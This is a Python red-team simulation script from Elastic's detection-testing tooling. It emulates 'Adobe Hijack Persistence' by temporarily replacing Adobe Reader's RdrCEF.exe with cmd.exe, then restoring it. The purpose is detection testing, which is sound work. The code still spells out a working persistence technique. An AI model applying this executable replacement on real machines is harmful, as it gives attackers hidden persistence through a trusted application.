Ross Wolf
a0d3b4bd23
Co-Authored-By: Brent Murphy <56412096+bm11100@users.noreply.github.com> Co-Authored-By: Daniel Stepanic <57736958+dstepanic17@users.noreply.github.com> Co-Authored-By: David French <56409778+threat-punter@users.noreply.github.com> Co-Authored-By: Joe Desimone <56411054+joe-desimone@users.noreply.github.com> Co-Authored-By: Justin Ibarra <brokensound77@users.noreply.github.com>
47 lines
1.4 KiB
Python
47 lines
1.4 KiB
Python
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
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# or more contributor license agreements. Licensed under the Elastic License;
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# you may not use this file except in compliance with the Elastic License.
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# Name: Adobe Hijack Persistence
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# RTA: adobe_hijack.py
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# ATT&CK: T1044
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# Description: Replaces PE file that will run on Adobe Reader start.
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import os
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from . import common
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@common.requires_os(common.WINDOWS)
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def main():
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rdr_cef_dir = "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF"
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rdrcef_exe = os.path.join(rdr_cef_dir, "RdrCEF.exe")
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cmd_path = "C:\\Windows\\System32\\cmd.exe"
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backup = os.path.abspath("xxxxxx")
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backedup = False
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# backup original if it exists
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if os.path.isfile(rdrcef_exe):
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common.log("{} already exists, backing up file.".format(rdrcef_exe))
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common.copy_file(rdrcef_exe, backup)
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backedup = True
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else:
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common.log("{} doesn't exist. Creating path.".format(rdrcef_exe))
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os.makedirs(rdr_cef_dir)
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# overwrite original
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common.copy_file(cmd_path, rdrcef_exe)
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# cleanup
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if backedup:
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common.log("Putting back backup copy.")
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common.copy_file(backup, rdrcef_exe)
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os.remove(backup)
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else:
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common.remove_file(rdrcef_exe)
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os.removedirs(rdr_cef_dir)
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if __name__ == "__main__":
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exit(main())
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